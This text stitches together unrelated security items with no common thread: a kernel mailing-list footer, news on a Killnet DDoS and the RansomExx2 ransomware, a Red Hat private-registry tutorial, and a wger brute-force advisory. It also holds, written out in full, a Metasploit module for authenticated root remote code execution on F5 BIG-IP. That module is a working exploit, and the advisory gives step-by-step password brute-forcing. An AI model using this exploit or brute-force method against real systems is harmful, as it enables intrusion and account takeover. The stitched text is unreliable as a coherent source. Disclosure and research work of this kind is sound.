 https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
 switches of git-send-email(1):

 git send-email \\
 --in-reply-to=20221115131822.6640-5-imv4bel@gmail.com \\
 --to=imv4bel@gmail.com \\
 --cc=cai.huoqing@linux.dev \\
 --cc=kernel@tuxforce.de \\
 --cc=linux-media@vger.kernel.org \\
 --cc=linux-usb@vger.kernel.org \\
 --cc=mchehab@kernel.org \\
 --cc=tiwai@suse.de \\
 /path/to/YOUR\_REPLY

 https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
 via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-45887: [PATCH 4/4] media: ttusb-dec: Fix memory leak in ttusb_dec_exit_dvb()

By Habiba Rashid
The DDoS attack took place moments after the European Parliament voted to declare the Russian government a state sponsor of terrorism.
This is a post from HackRead.com Read the original post: Killnet Hits European Parliament Website with DDoS Attack

Staying true to its reputation of being known for relying majorly on DDoS attacks, the pro-Kremlin hacking group Killnet has struck again and this time, their target was the European Parliament website.

This DDoS attack took place after the governing body voted to declare the Russian government a state sponsor of terrorism. 

The distributed denial-of-service attack or DDoS attack took place on Wednesday afternoon European time and the website stayed down for a few hours before becoming operational again. 

It is worth noting that the DDoS attack came just days after Killnet claimed responsibility for targeting government sites in the United Kingdom and vowed to target more in the coming days.

Killnet members quickly claimed the credit for the attack shortly after and posted screenshots showing the European Parliament website was unavailable in 23 countries on Telegram. Furthermore, the text accompanying the images included a homophobic remark toward the legislative body. 

“Strap-on shelling of the server part of the official website of the European Parliament!” the group posted to its Telegram channel.

Screenshot shared by Killnet in its Telegram group.

The attacks against the European Parliament came hours after the agency adopted a resolution officially identifying Russia as a state sponsor of terrorism. It was adopted by the member states with 494 votes in favor, 58 against, and 44 abstentions.

Members of the European Parliament “highlight that the deliberate attacks and atrocities committed by Russian forces and their proxies against civilians in Ukraine, the destruction of civilian infrastructure and other serious violations of international and humanitarian law amount to acts of terror and constitute war crimes,” the declaration stated. “In light of this, they recognize Russia as a state sponsor of terrorism and as a state that ‘uses means of terrorism.’”

Since the Russo-Ukraine war began in February, Killnet has launched 76 attacks against countries supporting Ukraine. 

1.  Anti-Russian OldGremlin Gang Launches Linux Malware
2.  34 Russian Hacking Groups Stole 50 Million User Passwords
3.  New DDoS Malware ‘Chaos’ Hits Linux and Windows Devices
4.  RapperBot malware targets gaming servers with DDoS attacks
5.  DDoS App Meant to Hit Russia Infected Phones of Ukrainian Activists

I am a cyber security writer and one of my favourite games is Minecraft. I also really like obscure cat memes and during my free time, if I'm not found hanging around in Discord voice channels with my friends, I'm probably cycling and taking pictures of random cats on the street.

Killnet Hits European Parliament Website with DDoS Attack

A private registry can be useful for storing Linux <a href="https://www.redhat.com/en/topics/containers">container images&am

A private registry can be useful for storing Linux container images for your applications in an internal, controlled (and potentially more secure) infrastructure.

Linux containers are technologies that allow you to package and isolate applications with their entire runtime environment—all of the files—necessary to run. This makes it easy to move the contained application between environments (dev, test, production, etc.).

In this article, I will show you how to create a simple SSL/TLS-ready private registry with a stronger security posture that can be used to store containers in general, as well as how to integrate it with **Red Hat OpenShift**, to be able to perform OCP disconnected deployments. It can also be used for cases where the OperatorHub does not have internet access.

**Requisites**

We will need the following requisites:

* **FQDN**: registry.rhbrlabs.com
* **OS**: Red Hat Enterprise Linux 8.6+
* **SELinux**: Enforcing
* **Firewalld**: Enabled
* **Registry**: Podman
* Apache Tools
* **Volume**: 100Gb mounted on **/data**

This registry fully supports disconnected installations of OpenShift.

**Installation**

An installation to maximize system security consists of using cryptography, in addition to the security features already available in Linux.

Create the required directories:

\[root@registry ~\]# mkdir -p /data/registry/{auth,certs,data}

**Certificates**

Generate certificates for the container registry. In this example, we are creating certificates that are valid for 10 years:

\[root@registry ~\]# openssl req -newkey rsa:4096 -nodes -sha256 \\
\-keyout /data/registry/certs/registry.rhbrlabs.com.key -x509 -days 3650 \\
\-out /data/registry/certs/registry.rhbrlabs.com.crt \\
\-subj "/C=US/ST=NorthCarolina/L=Raleigh/O=Red Hat/OU=Engineering/CN=registry.rhbrlabs.com" \\
\-addext "subjectAltName = DNS:registry.rhbrlabs.com"

The operating system needs to trust the certificates that were generated.

Copy the generated certificate to the anchors trusted directory, and run **update-ca-trust**:

\[root@registry ~\]# cp /data/registry/certs/registry.rhbrlabs.com.crt /etc/pki/ca-trust/source/anchors/

\[root@registry ~\]# update-ca-trust

**User accounts**

To control access to our registry, we will need to create user accounts. In the following example, we will create an account for the user registry.

Generate an authentication file for the image registry:

\[root@registry ~\]# dnf -y install httpd-tools

\[root@registry ~\]# htpasswd -bBc /data/registry/auth/htpasswd registry redhat12345678

**HTTP secret**

In addition to the user account, we will need a secret to increase the reliability of access.

Generate a random secret:

\[root@registry ~\]# date | md5sum

10f207a4cbba51bf00755b5a50718966

**Registry software**

With the necessary data in hand, it's time to create the registry.

Create the container registry using the image **docker.io/library/registry:2**:

\[root@registry ~\]# dnf -y install podman

\[root@registry ~\]# podman create --name ocp-registry --net host -p 5000:5000 \\
 -v /data/registry/data:/var/lib/registry:z -v /data/registry/auth:/auth:z \\
 -e "REGISTRY\_AUTH=htpasswd" -e "REGISTRY\_AUTH\_HTPASSWD\_REALM=Registry" \\
 -e "REGISTRY\_HTTP\_SECRET=10f207a4cbba51bf00755b5a50718966" \\
 -e REGISTRY\_AUTH\_HTPASSWD\_PATH=/auth/htpasswd -v /data/registry/certs:/certs:z \\
 -e REGISTRY\_HTTP\_TLS\_CERTIFICATE=/certs/registry.rhbrlabs.com.crt \\
 -e REGISTRY\_HTTP\_TLS\_KEY=/certs/registry.rhbrlabs.com.key docker.io/library/registry:2

The above command will generate a message like this:

Trying to pull docker.io/library/registry:2...
Getting image source signatures
Copying blob fd4a5435f342 done 
Copying blob 213ec9aee27d done 
Copying blob 4583459ba037 done 
Copying blob b136d5c19b1d done 
Copying blob 6f6a6c5733af done 
Copying config dcb3d42c17 done 
Writing manifest to image destination
Storing signatures
Port mappings have been discarded as one of the Host, Container, Pod, and None network modes are in use
22633f37262a4ab2d64fc8beb44bb80618b11802974fb2f45d31d98db3cf14e8

The registry will now be ready for use. However, we need a way to control starting and stopping the service.

**Startup control**

Create a UNIT file for your registry to automatically start the container at boot:

\[root@registry ~\]# cat /etc/systemd/system/ocp-registry.service

\[Unit\]
Description=OCP Registry
\[Service\]
Restart=always
ExecStart=/usr/bin/podman start -a ocp-registry
ExecStop=/usr/bin/podman stop -t 10 ocp-registry
\[Install\]
WantedBy=network-online.target

Start the container:

\[root@registry ~\]# systemctl daemon-reload

\[root@registry ~\]# systemctl enable --now ocp-registry.service

_Private registry running_

**Firewall**

As we are using a local firewall, we will need to authorize the registry service port.

Allow TCP 5000 port on Firewalld:

\[root@registry ~\]# firewall-cmd --permanent --add-port=5000/tcp

\[root@registry ~\]# firewall-cmd --reload

**Check that the registry is working**

Now let's check access to our new registry.

Ensure authentication and SSL/TLS trusted is working:

\[root@registry ~\]# curl -u 'registry:redhat12345678' https://registry.rhbrlabs.com:5000/v2/\_catalog

{"repositories":\[\]}

**Red Hat OpenShift integration**

If you are going to use this registry along with OCP, create a file in base64 format with the authentication information.

Generate a temporary file with the authentication information for OpenShift disconnected installs:

\[root@registry ~\]# cat <<EOF > ~/registry-secret.json
"registry.rhbrlabs.com:5000": {
 "email": "registry@redhat.com",
 "auth": "$(echo -n 'registry:redhat12345678' | base64 -w0)"
}
EOF

**Final words**

Your new private registry with additional security capabilities is now up and running. Having a private registry service is a good way to control access and meet stricter security standards, as public registry services are more susceptible to security issues.

In this post, I guided you in creating a security-enhanced registry from scratch. Despite being a functional solution, it lacks advanced features such as high availability, mirroring, caching and geo-replication, which is already present in more robust solutions.

All of these functions, plus container vulnerability scanning, object storage support and autoscaling are built into Red Hat Quay.

Red Hat Quay container registry platform provides security-enhanced storage, distribution and governance of containers and cloud-native artifacts on any infrastructure. It is available as a standalone component or it can run on top of Red Hat OpenShift.

Red Hat OpenShift: How to create and integrate a private registry with stronger security capabilities

Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2.

**Description**

Wger Workout Manager does not limit unsuccessful login attempts allowing Brute Forcing.

**Proof of Concept**

_Steps to Reproduce:_

1.  Register a new user
    
2.  Logout
    
3.  Send a login request with an incorrect password
    
4.  Capture the login request
    
5.  Replay the login request with a different password value utilizing a password list payload
    
6.  Should the password exist in the password list, a FOUND "Reason" with a Code of "300" will be issued
    
7.  ZAP will continue attempting all passwords in the password list until complete
    

**OWASP ZAP (Zed Attack Proxy) captured request below**

    
    POST http://localhost:8002/en/user/login HTTP/1.1
    Host: localhost:8002
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 134
    Origin: https://localhost:8002
    Connection: keep-alive
    Referer: https://localhost:8002/en/user/login
    Cookie: csrftoken=dmYHzhEL7jtry2rAuRuXFvfRNfr1ZhKELoaBcBHiD21rMHik5aAno2aJ44SloIAq; sessionid=ezv3ryk6pdpjsruystkuy9igz6nvjcwg
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    csrfmiddlewaretoken=6XFt2tC2nJ1s57MtQOmsiBqDnWHylBfBEZRnFNFzTszsjMDdr7sS18lvEL8SK25n&username=username1&password=password&submit=Login
    

**Impact**

The impact is unlimited password attempts leading to Brute Force attacks on the login page. Should this software be hosted on a website, it may also lead to Denial of Service.

**Occurrences**

CVE-2022-2650: No Protection against Bruteforce attacks on Login page in wger

This Metasploit module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user.

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator', 'Description' => %q{ This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user. }, 'Author' => [ 'Ron Bowes' # Discovery, PoC, and module ], 'References' => [ ['CVE', '2022-41800'], ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'], ['URL', 'https://support.f5.com/csp/article/K97843387'], ['URL', 'https://support.f5.com/csp/article/K13325942'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-11-16', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts. 'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts. }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # One at a time 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ OptString.new('HttpUsername', [true, 'iControl username', 'admin']), OptString.new('HttpPassword', [true, 'iControl password', '']) ] ) end def exploit # The RPM name is based on these, so we need these to delete the RPM file after name = rand_text_alphanumeric(5..10) version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}" release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}" vprint_status('Creating an .rpmspec file on the target...') result = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'), 'ctype' => 'application/json', 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'data' => { 'specFileData' => { 'name' => name, 'srcBasePath' => '/tmp', 'version' => version, 'release' => release, # This is the injection - add newlines then a '%check' section 'description' => "\n\n%check\n#{payload.encoded}\n", 'summary' => rand_text_alphanumeric(5..10) } }.to_json }) fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401 fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200 json = result&.get_json_document fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json file_path = json['specFilePath'] fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path vprint_status("Created spec file: #{file_path}") register_file_for_cleanup(file_path) # We can also use `exit 1` in the %check function to prevent this file # from being created, rather than cleaning it up.. but that seems noisier? # Neither option gets logged so /shrug register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm") vprint_status('Building the RPM to trigger the payload...') result = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'), 'ctype' => 'application/json', 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'data' => { 'state' => {}, 'appName' => rand_text_alphanumeric(5..10), 'packageDirectory' => '/tmp', 'specFilePath' => file_path }.to_json }) fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401 fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299 endend

F5 BIG-IP iControl Remote Command Execution

The operators of the RansomExx ransomware have become the latest to develop a new variant fully rewritten in the Rust programming language, following other strains like BlackCat, Hive, and Luna.
The latest version, dubbed RansomExx2 by the threat actor known as Hive0091 (aka DefrayX), is primarily designed to run on the Linux operating system, although it's expected that a Windows version will

The operators of the RansomExx ransomware have become the latest to develop a new variant fully rewritten in the Rust programming language, following other strains like BlackCat, Hive, and Luna.

The latest version, dubbed RansomExx2 by the threat actor known as Hive0091 (aka DefrayX), is primarily designed to run on the Linux operating system, although it's expected that a Windows version will be released in the future.

RansomExx, also known as Defray777 and Ransom X, is a ransomware family that's known to be active since 2018. It has since been linked to a number of attacks on government agencies, manufacturers, and other high-profile entities like Embraer and GIGABYTE.

"Malware written in Rust often benefits from lower \[antivirus\] detection rates (compared to those written in more common languages) and this may have been the primary reason to use the language," IBM Security X-Force researcher Charlotte Hammond said in a report published this week.

RansomExx2 is functionally similar to its C++ predecessor and it takes a list of target directories to encrypt as command line inputs.

Once executed, the ransomware recursively goes through each of the specified directories, followed by enumerating and encrypting the files using the AES-256 algorithm.

A ransom note containing the demand is ultimately dropped in each of the encrypted directory upon completion of the step.

The development illustrates a new trend where a growing number of malicious actors are building malware and ransomware with lesser-known programming languages like Rust and Go, which not only offer increased cross-platform flexibility but can also evade detection.

"RansomExx is yet another major ransomware family to switch to Rust in 2022," Hammond explained.

"While these latest changes by RansomExx may not represent a significant upgrade in functionality, the switch to Rust suggests a continued focus on the development and innovation of the ransomware by the group, and continued attempts to evade detection."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#linux